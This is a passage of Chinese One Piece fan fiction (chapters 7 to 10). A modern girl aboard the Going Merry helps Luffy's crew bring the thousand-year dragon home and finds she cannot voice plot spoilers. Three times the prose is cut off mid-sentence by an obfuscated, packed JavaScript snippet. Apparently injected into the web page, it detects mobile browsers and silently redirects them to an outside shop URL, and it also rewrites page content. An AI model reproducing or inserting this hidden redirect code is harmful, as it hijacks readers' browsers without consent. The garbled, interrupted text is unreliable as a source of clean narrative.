《[海贼]船舱上的房间》 7. 千年龙(一) 就像阿碧丝说的,所谓军舰岛,是指这座岛的外观看起来就和军舰一般。 “「好大啊——」”路飞站在船上看着不远处的岛屿,发出惊叹。 层层叠起的山峦几乎可以用遮天蔽日来形容,有有眺望着军舰岛,在一望无际的海面上,这座岛屿突兀而又壮观。 码头站满了拿着“武器”的居民,要说是武器,也不过是家里农作用的锄头叉子。不需要什么特别的说明,那面招摇的海贼旗就是理由。 可居民看见甲板上熟悉的小女孩安全落地时,不少人柔和了脸色。 有有顺着绳梯小心从船上爬下来,下方的山治还一副放心跌到怀里的神色。 有有:“……”倒也不至于菜成这个样子。 “这就是千年龙的故乡吗……”有有穿着不合脚的鞋第一次踩在了这个世界的土地上,脚下坚实的触感让有有不自觉蹭了两下。 “「你说什么了吗?」”娜美站在有有身边,看着开口说话的女孩问道。 有有试着张开嘴,可刚刚还能用中文说出来的句子一旦有了转换成日语的念头,就一个字也说不出来了。 离开船的范围也不行吗? 有有心下有了考量,若无其事地朝娜美摇了摇头。 娜美没有过多探究,笑着开口道:“「买鞋子,去吧?」” “「嗯!」” 要说能完全听得懂这些人说的话那当然是不可能的,更何况路飞兴奋起来就忘记了语速的事情、和索隆、乌索普交流的机会不多、山治的话即使听不懂也没关系,看他的脸色就知道又是在犯花痴、娜美则是唯一一个时刻不忘放慢语速,还会加上手势动作的人。但完全的日语环境确实能很大幅度地提升一个人的语言能力,结合几个人的性格,有有连蒙带猜基本上能中个80%,实在不懂的就上翻译器。 有有不合时宜的想起之前和同学们聊过的想要出国玩的事情。总是聊着聊着就因为害怕语言不通而停止畅想,但事实证明,人有多大胆,地就有多大产。 娜美:“「走吧,有有。」” 有有应声点头,码头的人早已散开,路飞被猪肉包子勾引,早早就和阿碧丝以及老爷爷走了,本来想留下的山治也被娜美撵走,只剩两个女孩还站在原地。 这座岛屿的居民和这座岛屿表现出来的雄伟并不一致,只是一座相当普通的自给自足的农业岛,岛上许多地方还种着水稻。所谓卖东西的地方也不过是个别人家再捕鱼之余做了些可以售卖的手工作品。 “「怎么样?」”娜美看着有有脚上的鞋询问道。 一双最普通不过的布鞋,鞋面上还绣着朴素的花纹,一针一线缝出来的鞋底踩在脚上踏实又安心。有有站起来小跳了几下,舒适的脚感让有有一时有些失神。听到娜美的询问,有有点了点头。 接下来就到了娜美的回合。 撸了撸不存在的袖子,娜美朝着店主奶奶开口道:“可以便宜一点吗?” 看吧,不用听懂就知道是在砍价。 最终有有以原价的一半得到了这双鞋。当然钱也是娜美付的。 再说一遍,娜美,我的神!! 而当有有和娜美和路飞等人汇合时,就看见一屋子的人皆是一副生无可恋的神色。为首的老爷爷旁若无人地说着千百年的故事,索隆更是将其当成了睡前故事,呼呼大睡得不知天地为何物了。 阿碧丝正踮着脚悄悄地往外走,还不忘朝察觉的几个人比了个“嘘”的动作。 小孩子受不住冗长的故事再正常不过,娜美会心一笑,让阿碧丝溜了出去,坐在了路飞身边开始听故事。 当反应过来时,有有也没了影子。 —— 阿碧丝拖着大大的包裹走在林间,有有知道,那包裹里都是给千年龙的食物。 按照剧情的发展,娜美和路飞马上就会发现并跟上来,最后会触发护送千年龙回到失落之岛的任务,并在一系列折腾后发现,最初的军舰岛就是失落之岛。 并不是什么高危的剧情线,真正能称得上敌人的只有那个吃了镰刀果实的小眼睛毛笔人;在众多原创剧情中也算不上突出,比不上G8要塞让人印象深刻,且剧情太过靠前,可能留下印象的人都没有多少。 但难度低、不涉及主线的原创剧情意味着,可以肆无忌惮地去尝试。 有有看着阿碧丝扯着藤蔓荡过山间裂隙,脸色又白了一瞬。 没有任何安全措施,甚至借力装置也不过是山间随处可见,极易枯萎的藤蔓。 拜托,平地坐秋千我都不敢荡地太高好吧!!小孩子能不能讲点常理!!有有心中抓狂,可看着阿碧丝逐渐变远的身影,最终咬咬牙抓住了藤蔓。 别断别断别断…… 有有深吸一口气,连余光都不敢往下瞟,硬生生将藤蔓在手上绕了好几圈,直直看着前方跳了过去。 来不及为脚踏实地的快乐感动,有有马不停蹄顺着阿碧丝留下的痕迹跟了上去。 这是一个巨大的洞穴,看上去深邃而曲折,不知里面到底有多深,从里向外透出的幽幽的凉气爬上有有裸露在外的手臂,刚刚死命抓住藤蔓的手隐隐传来疼痛。 “这小孩到底是在怎么敢一个人往这种地方跑的?”有有摩擦着手臂,心中只剩对这些热衷探险的小孩的佩服,比如阿碧丝,比如小时候的艾斯、萨博和路飞。 往深处走,低低的、小女孩的说话声在山洞里回响,明明只有一个人的声音,听起来却像是有两个人在交谈,即使知道为什么,有有依然感觉有些毛骨悚然。 加油,你都已经见过海王类了,千年龙也不用怕!有有为自己加油打气,来都来了,不见一面怎么行呢! 在踏入那片光之前,有有情不自禁地向后看了一眼。本该已经出现的路飞和娜美到现在还没有动静,但是也不确定什么时候就会到,一切都要抓紧时间了。 “「那是,千年龙,对吗?」” 突如其来的声音吓了阿碧丝一大跳,小女孩速度极快地站到了千年龙面前,像母鸡护崽一样张开了双臂,紧张地看向了来人。 “「啊!海贼船上的那个好心的奇怪姐姐!」” 有有:“……”奇怪这个词我还是听得懂的好吗? 不过,“千年龙”这个词居然说出了口……有有将视线投向了小女孩身后的庞然大物,即使有所准备,但是被震惊到了。龙,是种花传说里最为代表性的生物之一,相信每一个种花人都有过关于龙的幻想,也都听过有关龙的故事。 即使比起这条千年龙,凯多的青龙形态更符合种花人对龙的想象。但是,这也是龙啊。 有有对上了一双巨大的眼睛,眼睛里有着苍老的、渴望归家的灵魂。 “「你怎么知道这是千年龙,你也想要龙骨吗?」”阿碧丝像是想到了什么,眼神逐渐凶狠了起来,明明有些害怕,却还是坚强的站在了龙的面前。 大可不必,咱俩的战斗力指不定谁比谁高呢……有有目眼神飘忽,想来想去不知道从哪开始解释,朝着阿碧丝露出了纯洁而无知的目光。 “「对不起,我听不懂你在说什么。」”丝毫没有骗小孩子的心虚,有有说着一口别扭的日语问出了自己想问的,“「它,想回家,吗?」” 啊,这也能说?有有皱着眉头有些不解。 又尝试着直接说道:“失落之岛?” 同样也能说。 听不懂但是会说是吗……阿碧丝一言难尽地看着这个骗小孩不眨眼的姐姐,心里无语。在船上的时候就发现这个姐姐好像听不懂话,原来是为了这个是做挡箭牌的吗!! “「你怎么知道的?」”也许是想起了船上相处的时光,阿碧丝略微放下了戒心,但还是没有从千年龙身前离开。 这真不能说,也不知道怎么说。 有有试探地开口道:“「因为,我聪明?」” “「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15978153|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁信啊!!」” “「所以你知道失落之岛在哪吗?」” “「知道哟。」” 阿碧丝:“!” 有有:“!” “「不是你说知道的吗!你怎么还这么惊讶!」”阿碧丝还没开心多久,就被有有脸上的震惊给吓到了,“「难道是骗人的吗!」” 不是,我也没想到我能说出来啊!有有脸上的震惊一点都并不比阿碧丝少,甚至还带着一些惊恐。 “「你快说啊!失落之岛在哪!」”阿碧丝没有理会有有脸上的吃惊,一旦涉及到千年龙的事情,这个看起来有些成熟的小女孩就变回了这个年纪的小女孩该有的样子。 “「在……」”这里。 又说不出来了。 有有伸手摸上自己的脖子,可卡在喉咙的句子怎样也无法说出口。 为什么?到底为什么? 如果失落之岛的位置算剧透的话,那么直接说出千年龙和失落之岛这两个词为什么就不算剧透?但是在码头的时候,千年龙三个字为什么又不能说?还有阿碧丝的名字也是……剧透的定义到底在哪里? 共同点呢?这里面一定有共同点,但是共同点到底在哪? 剧情进行的程度?还是对剧情的影响程度? 有有反复张开嘴,倔强地试着一次又一次。 到底为什么? 有有心中涌起难言的绝望,如果千年龙的事情也无法干预的话,那么后面呢?阿拉巴斯坦、空岛、水之都、司法岛、恐怖三桅帆船……还有,顶上战争。她又能改变什么呢?如果一切都不能改变的话,她又为什么要出现在这里呢? 什么都不会,又没有武力值,胆子又小,连个小孩子都能轻松荡的裂隙都能把自己的手弄疼…… 到底为什么啊? “「你说话啊!」”阿碧丝看着沉浸在自己世界里,丝毫没有回应的有有,着急地冲上前去。 骤然而至的冲击让有有没忍住后退了一步,脚下传来的阻力让人失去平衡,一块凸起的石头就这样让有有整个人向后摔去。一双小手匆忙伸了出来,拉住了有有挥舞的手,可阿碧丝小看了向后的惯性和一个成年女孩的体重。来不及松手,阿碧丝就这样跟着有有一起倒了下来。 “砰——” 单薄的背部和地面上的石块猛地撞击在了一起,所幸在最紧要的关头,有有挣扎着扬起了脖子,后脑勺并没有触底,可即使是这样,有有还是疼得几乎瞬间停止了呼吸。 耳边传来的急促的呼吸声让阿碧丝白了脸色,环绕在自己腰间的手臂将自己固定在了这副有些瘦小的身躯上,除了惊吓,阿碧丝没有受到一点伤。 “「对、对不起。」阿碧丝带着哭腔的声音响起,想要起身,却害怕乱动导致身下的人伤势加重,连抽咽都不敢有过大的幅度。 有有勉强抬起一只手,安抚着趴在自己身上的女孩,惨白的脸上露出了一个比哭还难看的笑:“「我才是,对不起,失落之岛。」” 说的话有些断断续续,可阿碧丝却清楚的明白这个奇怪的姐姐在说着什么:“「才不是,失落之岛我会自己找的,姐姐你不说也没关系,对不起,我不该那样的。」” “「不……」”我想说的…… 有有一贯笑着的眼睛闪着微微的泪光,一滴水珠就这样顺着太阳穴消失在了石块里。 如果可以的话,我希望每个人都能得偿所愿啊。 “「啊!姐姐你不要死啊!呜呜呜,对不起姐姐,我不是故意的……」”渐大的哭声让说出话都变得含糊起来,有有着急地看着哭个不停的女孩,想翻身起来看看阿碧丝受伤的地方,但是背后的痛感还未消失,有有一时不敢轻举妄动。 就在这时,一道满含好奇的声音忽然传来:“「谁要死了?」” 五道身影就这样走到了有亮光的地方,为首的草帽少年探头探头道。 有有:“?”谁要死了? 8. 千年龙(二) “「哇!这是个什么啊!龙吗!」”路飞在千年龙旁边上蹿下跳,眼睛里都冒着光。 娜美叹了口气,从看见千年龙的惊讶中回神,看向了跪坐着的小女孩。 “「所以,为什么哭得那么伤心?」” 阿碧丝捏着衣角喏喏开口:“「因为那个姐姐的表情……」”实在是太生无可恋了,感觉马上命不久矣…… 有有在山治和乌索普的帮助下起了身,后背还泛着疼,脑壳也疼。 “「我是……算了,反正,不会,死。」” 有有放弃了挣扎,毫无说服力地反驳着。 “「正常人摔一下都不会死的吧。」”索隆看着眼前的这出闹剧有些无奈,随着路飞闹腾的身影看向了在这个洞穴内盘踞着的龙。 “「所以这到底是什么情况?」” 解释这种事当然轮不到连话都没听明白的有有,她看着阿碧丝有些沮丧地解释着一切。 —— “「我就说为什么海军要追一个小女孩,就是为了龙骨是吗?」”娜美想起不久前村民的通知,“「海军已经来了,正在村庄搜查。 」” 阿碧丝像只炸了毛的小狗一样护在千年龙身边:“「绝对不能让他们带走龙爷!」” “「那,我们送龙爷回家吧!」”路飞扶着帽子愉快道。 “「!真的吗路飞!」”阿碧丝眼睛亮了起来。 “「啊,很有趣不是吗?」”路飞依旧是那副心大的微笑,“「去失落之岛吧,大家!」” “「喂喂!」”乌索普抓着头发游戏崩溃,“「你都不知道失落之岛在哪,我们怎么去啊!」” “「而且,而且,千年龙这么大,我们怎么带着千年龙去失落之岛啊!」” 路飞听了但没完全听:“「啊,是吗?」” 乌索普:“……”这熟悉的无力感。 “「别担心,总能找到的啦!」”路飞叉着腰笑得格外开心。 娜美叹了口气,无奈道:“「既然路飞都这么说了……」”言下之意是不去也得去了。 “「阿碧丝,既然你能听懂龙爷说话的话,那你问问龙爷还有没有对失落之岛的印象吧?」”虽然应对路飞每天想一出是一出的风格令人格外心累,但是这艘船、这个海贼团的航海士是她,那么只要船长开口,她就会想办法带着所有人去往目的地,娜美偏头看向小女孩。 阿碧丝难过地摇了摇头:“「龙爷他,年纪大了,已经记不太清关于龙穴的事情了。但是……」” “「但是什么?」”乌索普随口接话道。 阿碧丝没有说话,但是小孩子还不能像大人那样掩盖自己的心情,一双大眼睛不住地往角落瞟。 角落里的女孩从开始就不曾讲话,只是静静地坐在山治找的大石头上,垂着头看着自己的鞋发呆。 娜美:“「有有?」” “「我知道哦。」”有有的声音像是轻飘飘的无根浮萍,淡淡地飘进所有人的耳朵,还带着显而易见的难过,“「lost island。」” “「有有小姐……」” “「真的吗!那太好了!赶紧说吧,失落之岛在哪,我们快点赶过去,海军都已经在岛上了……」” “「乌索普!」”乌索普兴奋的声音被打断,索隆用剑柄指着依旧垂着头的女孩轻轻摇了摇头。 乌索普的语速很快,但是即使没听明白,有有也知道他在说什么;就像哪怕不用抬头,有有也知道所有人的目光肯定都集中在自己身上。无形的目光射在身上,后背撞到的地方似乎又在隐隐作痛,有有摆在膝盖上的手紧紧握住了拳头,从没觉得话是这样难说出口。 “「我,不能,说。」” “「为什么?一个地址有什么不能说的?」”乌索普无法理解,本就胆小的少年一想到接下来会发生的危险就放大了音量,几乎有些生气地说道,“「海军马上就要追过来了哦!真的不能说吗!」” “「乌索普,有有她听不懂的。」”娜美拉住着急的人,勉力安慰道。 “「听不懂是理由吗?突然出现的明明是她好吗?在梅利号上突然出现,说着什么是我们的粉丝,结果真的有事情却不说 ,一句不能说就能解释一切吗?」” “「喂,乌索普,有有小姐说了不能说就不能说,每个人都有不能说或者不想说的事情,不要对着女孩子发脾气。」”山治目光严肃,指间的烟闪着点点红光,大有下一秒就抬腿踢上来的感觉。 “「但是一个岛屿的地址为什么会是不能说的事情啊!」” 耳边的争吵声让有有感到头晕,指尖在手心越陷越深,几乎要狠狠扎进去。 “「对不起……」” 可细若蚊蝇的声音就像掉进大海的小石子一样不明显。 朋友之间的争吵是正常的,草帽团的日常也是有有平日里最爱看的部分,有些争吵都觉得格外有喜感。但是一旦成为了这群人争吵的原因,有有才知道这是多么令人难受的一件事。 所以我为什么会出现在这里……什么都做不到,还让他们吵架,他们明明关系那么好,却因为我一个外人吵架,我是什么扫把星吗? 眼睛里酸涩的要命,眼前的地面变得模糊,鞋子上的花纹也逐渐晕染在了一起。伤心难过浓缩成水珠,从眼眶砸到地面。 “滴答。”有有听见了泪水的声音。 一片阴影在小小的一方天地投射了下来,滴落的泪水带走了模糊,清晰的视网膜倒映出一双熟悉得不能再熟悉的人字拖。头上突然多了个东西。 路飞转了个身看向所有人:“「知道结果的冒险太无聊了,我不想要。」” “「不想说就不想说,不能说也没关系,失落之岛而已,一定能找到的。」” 没有什么长篇大论,也没有提到任何一个人,就这样简简单单平静地陈述着自己的想法,可所有人都安静了下来。 索隆从靠着的墙壁起身:“「所以我们接下来该怎么做?」” “「对哦,我们接下来怎么做?娜美。」”不过三秒,路飞就抠着鼻子转头看向了在场唯一靠谱的人。 娜美握紧了拳头面目狰狞:“「既然没有想法就不要说得那么理直气壮啊!混蛋!」” 打归打,骂归骂,船长的烂摊子还是得收拾。娜美捏着拳头给所有人安排工作,路飞、山治、索隆被发配去砍树,乌索普被撵去组装板车,阿碧丝跟着几个人出去,洞穴里一时只剩下无法移窝的龙爷和娜美有有。 “「对不起。」”感受到身边坐下了一个人,有有哑着嗓子开口道。 “「帽子,怎么样?」”娜美没有回应有有的道歉,反倒是笑着指了指有有头顶上出现的草帽。 这顶草帽传承了三代,从罗杰到香克斯,再到路飞。跨过了那么多岁月,经历了那么多场战斗,早已无法崭新如初,但沉淀的情感却重重的,压在脑袋上格外的安心。 “「在我的村子里,路飞也是这样,把草帽压在了我的脑袋上。」”娜美撑在石头上回忆起了从前,“「那时候我说了很多不好听的话,也做了很不好的事情,但是当帽子盖下来的时候,路飞把我的眼泪遮住的时候。」” “「我感觉,如果是路飞的话,就一定可以的。」” “「明明看上去那么不靠谱的人,有时候却又比谁都无所不能。」” “「所以没关系,不能说也没关系,相信路飞就好了,他可是船长哦。」”娜美的眼睛里闪着狡黠的光,几乎是在撺掇着有有把一切困难事都丢给路飞。 有有听得一知半解,却也“噗嗤”一声笑了出来。 “「走吧。」”娜美站起身,朝着有有伸出手,“「去看看那群人干得怎么样了。」” —— 如果不是娜美拉着有有出来,有有差点忘记还有这样一幕。 看了半天实在没忍住,有有拿出翻译器:“「所以,山治的腿为什么能砍树?」” “「嘛。」”娜美挠了挠头,“「大概……是正常的吧……」” 虽然比起后面腿上冒火什么的正常,但是还是很不正常啊!索隆都在拿着刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15978154|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砍诶…… 所以这么“正常“的一幕,当然是要拿着手机拍拍拍啦! 捕捉到摄像头的山治像个捕捉到镜头的idol,疯狂朝有有的方向抛着媚眼。 有有:谢谢,有被媚到。 板车做好后,乌索普自告奋勇去开梅利号,自然不忘带上索隆。 那个海峡真的很想乌索普的鼻子啊……有有瞥了一眼娜美指的地方,又瞥了一眼明显在躲着自己的乌索普。 果然还是很好奇乌索普的长鼻子是个什么构造,里面有没有骨头啊? 乌索普打了个寒战,拉着索隆就往山下奔。 “「路飞,帽子。」”有有把戴在头上的草帽递给路飞,少年笑嘻嘻地戴在了自己头上,像是什么都没发生过一样。 大概是因为洞穴内所耗费的时间有点多,海军比想象中更快地赶了上来,在一众蓝白的制服中,穿着紫色制服的毛笔脑袋格外显眼。 这人叫什么来着? 有有心下一跳,可这部分的剧情太过久远,能记得一个阿碧丝已经是意料之外了,初次之外就记得这个人镰刀果实的拥有者。 不过,既然已经能看见了…… 能说出阿碧丝的名字是因为已经看见了阿碧丝,在码头没办法说出千年龙是因为没看见,在洞穴看见就能说了。即使变量太少,但是值得尝试一把。 海军的子弹扑面而来,被路飞轻易地挡了回去,山治也跳到人群中开始反击。 娜美一边看着阿碧丝,一边打量梅利号的情况,就在这时,眼前突然多出了一块小巧的屏幕。 屏幕上是熟悉的文字,娜美震惊地看着有有,来不及求证就对着下面的两个人大喊道:“路飞!山治!那个紫色毛笔头的人是果实能力者,镰刀果实,能发出风刃,小心!!” “「hai~担心我的娜美小姐也好迷人~」”山治第一时间看向了娜美,摇摆着表达自己的爱意。 !你倒是看前面啊!有有头疼地看着山治,看见金发青年轻巧地跳过一道风刃,心下稍安。 —— “「原来你真的能发出风刃啊,毛笔人。」”路飞没有花一秒就接受了毛笔人这个称呼,略带好奇地打量着。 “「哼,看来我的名气已经传到那么远了,没错,我就是雇佣兵旋风艾力克……」” “「人妖?」”路飞扭头看向山治。 山治双手插兜,帅得让人想拍特写,可说出的话也一样没个正形:“「人妖毛笔人」。” “「诶~~好拗口哦~~」” “「谁是毛笔人啊!!」”艾力克恼羞成怒,双手挥舞,一道道白色的风刃席卷而来,像是要撕破空间一般。 既然已经知道情报,山治和路飞自然不会再轻易中招,正当三人即将扭打在一起时,山坡上传来了娜美的喊声:“「他们来了!」” —— 没错,他们来了。 有有站在板车上看着向这边跑来的路飞山治,又看了看明显没有第二条路的下方,生无可恋地抱紧了千年龙。 板车改名过山车,就这么莽撞而直接地向山下俯冲了下去,路上不断凸起的石块让板车起起伏伏,几乎就要甩飞出去。 “安全带啊啊啊啊————”有有扯着喉咙脸色扭曲,声音被风给划破,变得零碎不清。 路飞哈哈笑出了声,不成词调地模仿着有有的声音:“阿区大——” 嬉笑的声音同样被风吹散,留在了半山腰上。 板车撞破军舰,直直地落在梅利号旁边,用绳索连上船只,梅利号加速驶离了这片区域。 “呕——” 熟悉的一幕再次发生,路飞双手枕在脑后,一脸新奇地看着有有:“「你这家伙,真的很弱诶,阿碧丝都没事诶。」” 那可真是对不起了!有有抱着栏杆不撒手,直到吐了个干净才抽出空瞪向路飞。 船长丝毫不曾感到冒犯,反而心情愉悦:“「没关系,多坐几次就适应了。」” 有有:“……”杀了我,就现在。 9. 千年龙(三) 心里大概清楚接下来的发展,有有拖着虚弱且疼痛的身躯回了房间。 路过厨房时,还看见山治眼冒爱心地朝自己抛了个媚眼。有有失笑,打过招呼打开了房间的门。 “「有有小姐,马上就能吃饭了哦。」”山治挥舞着锅铲开口。 “「知道了,衣服。」”有有指着身上冲撞后沾了些石子的衣服,示意自己的打算。 看着卷眉毛厨师整个人都兴奋起来,有有站在门口朝厨师比了个大大的叉:“「不行!」” 虽然山治很绅士,但是不能指望一个梦想是吃下透明果实进女浴室的人有多少良心,有有眯着眼睛一边盯着山治,一边默默退进了房间关上门。 门外依稀传来山治犯花痴的声音,有有哭笑不得地转身走向衣柜。 可正要迈步时,床边的一抹绿色骤然吸引了有有的目光。 一双绿色的恐龙拖鞋就这样整整齐齐码在了床边,像是从来没有离开过。 “骗人的吧……”有有走到床边,从地上捡起拖鞋仔细打量,可恐龙眼睛上的小瑕疵都一模一样。毫无疑问,就是在她在慌乱时弄丢的那双,如今不仅出现在了房间,甚至连一丝水渍也无。 迟来的金手指……有有脑中闪过这样一个念头。如果说这个年纪的小孩没有在小说中沉迷过,那是不可能的。重生文、系统文 当然也是稍有涉猎。 所以,具体的规则呢?没有AI系统说明也好歹给个说明书吧!都不求第四天灾了,再不济,给个恶魔果实也行啊!! 有有抓狂地揉着头发,甚至趴在地上往床底观察,企图找到说明书的欲望之强烈可见一斑。 然而一无所获,倒是找到了不久前丢失的蝴蝶发圈。随手将发圈套在手上,有有叹了口气,默默坐到书桌前,抽出了一本新本子,在首页写下了序号1。 可“1”的后面不见新的文字,手中的中性笔悬在半空迟迟没有动作,有有眼神古怪地看向了手中的笔。 “拖鞋回来了,但是昨天送出去的笔、纸、零食和枕头却没有回来……所以刷新的条件是自愿与否吗?” 思虑良久,最终纸上落下了一行字。 “还有剧透的范围……”有有一边喃喃自语,一边不断做着假设,仿佛又回到了不断刷题做假设求证的日子。 小心列出可能的影响因素,一点点确定需要控制的变量,微小的计划逐渐在脑海中成型。 “所以先这样……然后……” “叩叩——” 不一会儿,房门被敲响,门外传来了山治的声音。 “「有有小姐~饭好了哦~」” “「OK!」”女孩朝着门口应声,学习时留下的习惯让有有伸了个懒腰,可舒展身体时传来的的松快感让人脸色惊讶。 有有反手摸上了自己的背。 “我勒个豆的,这算什么?因为我太脆了,所以还加了回血buff?” 在洞穴里不小心造成的伤就像没发生过一样,脊背不曾留下一点疼痛感。 —— 饭桌上一群人叽叽喳喳的声音格外热闹,其中阿碧丝尤为兴奋,据山治所说,在得知龙穴就在军舰岛的东侧后,这孩子就一直这么开心了。 小孩子的笑容实在太有感染力,有有忍不住将视线也投向了阿碧丝,可或许是因为洞穴内的事情,在发现有有目光的瞬间,阿碧丝脸上的笑容收敛了许多。 “……” 发现房间神奇之处的快乐顷刻消失,有有垂下眼帘吃着盘子里的菜,故作轻松地回应着山治时不时的插科打诨,像是什么都没有发现一般。 除了吃饭以外,比起饭桌,路飞更愿意坐在他的特等席上。乌索普和阿碧丝也跑到甲板上玩。所以饭后,留在操舵室的就只有负责洗碗的山治索隆和娜美有有。 即使已经在动漫中看过一遍,但是在现实中看见平时无法和平共处超过三秒的人如今配合默契的洗碗,依旧还是很激动。 有有趴在桌上偷偷打开摄像头,镜头对准了站在洗手池的两人,时不时还探着脑袋仔细观察两个的动向,但凡察觉到有转头的迹象,就悄咪咪地按下摄像头。 什么战地记者的即视感。娜美失笑,任由有有做着小动作。 “「所以,我们、现在的路线、是对的吗?」”索隆擦着手中的盘子,头也不回地开口。 即使没有指明对象,有有也知道这话是在和自己说。偷拍的心虚感一闪而过,女孩讪讪关闭摄像头,转而在屏幕上敲敲打打了起来。 “「必经之路。」”手机里传来这样的声音。 有有盯着手机,所有肯定的话全部都能翻译出来,甚至连否定的话也可以,但是涉及到龙穴真正的所在地的话一律无法出现。“必经之路”这样稍加提示的词反而可以说,似乎只要确保不是直接剧透结果,那么就可以成立。 这样直来直往不带转弯的判定方式…… 有有忽然间恍然大悟:有点像AI啊。 眼见身边的女孩又陷入了自己的世界,娜美的眼神里闪过不易察觉的担忧。 “「既然航向是对的那就没有问题了。」”索隆擦干了手里的水,看向娜美:“「不用替她担心,在这艘船上的人都有着只有本人才能做到的事情,她也不例外。」” “「话是这么说……」”娜美犹豫道。 “「啊————」”甲板上的尖叫声打断了娜美的话,所有人一惊,冲向了甲板。 梅丽号驶入了凭空出现的屏障中,逐渐在海面上失去了踪影。 周围环绕的雾气让人看不清周围,骤然刮起的海风和成片的乌云带来了倾盆的大雨。梅利号剧烈的摇晃了起来。 潮湿的甲板减小了摩擦力,在船上行走就像溜冰一样找不准重心。 “「把帆收起来!」” 过于猛烈的暴风雨打得让人睁不开眼睛,有有眯着眼睛环顾甲板。 阿碧丝人呢? 来回环视也找不到小小的黄色身影,有有眉心一跳,转身向船的后方跑去。 果不其然,阿碧丝趴在栏杆上朝着千年龙说着什么。还不等有有喊住阿碧丝,掀起的狂浪就冲散了绑着板车的绳子。 “!” 有有跨步冲上前去一把抓住了出走的麻绳。粗粝的麻绳摩擦着掌心,被染红了的麻绳在暴雨的冲刷上又恢复了原本的样子。 “「奇怪姐姐!」”阿碧丝看着突然出现的身影,惊讶之余也不忘抓住麻绳。 有有:“……”不行了,简直无力吐槽,这个前缀就一定要加吗!! 一个小孩加一个不常锻炼的人显然是无法阻挡海浪的拉力,有有咬着牙双腿蹬在栏杆上,企图借一点力,但是毫无作用。就当这场拔河就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15978155|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快输了的时候。 罗罗诺亚·索隆,堂堂登场! 靠谱的副船长大人!!! 有有双眼冒星,像看救世主一般看着索隆。 索隆:“……”好耀眼! 可海浪依旧凶猛,三人的力量也只不过堪堪僵持。 伸长了的手臂忽然出现,牢牢套住了板车车轮。 勉强靠谱的船长大人!!! 船很快改变了航向,漫天的暴风雨被甩在了身后,逐渐驶向了平静的海域。 刚叮嘱完乌索普抛锚的娜美刚转过头就碰上了一双星星眼。 “「怎么了?」” 有有朝娜美比了个大拇指:“「超帅!!」” 最最最靠谱的航海士大人!!!! —— 按照千年龙记忆中的方向所航行到的“失落之岛”看起来更像是人类居住的岛屿,路边散落的石块明显是人造建筑的残骸。 路飞将目光放在了岛屿最高处,真的当站在了这里时,那种人造的感觉也越来越强烈。封闭的大门似乎需要钥匙才能打开,阿碧丝将目光投向了胸前的项链,眼看着这一幕,有有默默将脚步移向了索隆。 还没等索隆发问,地面就传来剧烈的抖动,倏然之间,地,塌了。 索隆:“!” 即便心有准备,可真当地面塌陷时,有有还是一惊。 “「索隆,救我!」”早就准备好的话脱口而出,有有目光炯炯地看向索隆。 索隆:“……”这微妙的,被算计的感觉。 但是思及某人一天之内狂吐两次的壮举,身体比大脑更先反应过来,索隆拽住了女孩的胳膊。 几乎一只手就能握住的手臂毫无锻炼的痕迹,一点肌肉也无,看起来似乎连和道一文字都拿不起来。这是索隆无法想象的孱弱。 坠落是没有规则的,余光撇到周围碎落的石头,索隆下意识地扯开女孩,一脚踢开了石块。 “哐!”自由落体很快结束,一行众人外加一条龙的重量不可小觑,溅起的灰尘几乎要迷住所有人的眼睛。 虽然很不想承认,但是有有诡异地有些习惯了这种突如其来的失重感,几乎只花了几秒就反应了过来。并且预想的疼痛也没有出现,有有震惊地看着自己的双手:终于轮到我的体质被这些人同化了吗?! 就在有有惊喜之际,屁股底下传来了一道声音:“「喂,你该不会是想吐我身上吧?」” ! 有有一个弹射起步,趴在地上的索隆若无其事地站了起来,还拍了拍身上的灰。 这都没事,到底是什么品种的人类啊! “「哈?你这家伙,凭什么当有有小姐的坐垫!」”察觉的这边的山治一秒闪现,目光凶恨地盯着索隆。 “「白痴。」” 每日拌嘴get√ 开开心心偷拍一张照片,有有颠颠地就往娜美的方向跑去,生怕被秋后算账。 视线里的女孩不断走远,索隆忽然没了吵架的心情,目光不经意朝着有有探去。 有有还在摆弄着那个她叫做的“手机”的东西,估计又在因为偷拍的照片而偷着乐。刚要移开视线,女孩手臂上的红色就这样张扬的冲进了眼睛。 看着那个清晰可见的手印,索隆难得地有些怀疑自己。 我刚刚,真的有那么用力吗…… 10. 千年龙(四) 有有时常觉得,整个草帽团的智力点大部分都点在了娜美和罗宾两个女孩子身上,没有遇见美女的山治和索隆凑一凑也够用。 当然如果山治遇见了女孩子,就只能和路飞坐一桌了…… 仅凭着壁画就能将千年龙的情况推测个七七八八,娜美的观察力和信息整合能力实在是出色。 就像是现场追番一样,有有靠在龙爷的旁边,听着娜美指着剥落的墙壁上一一为所有人讲解。 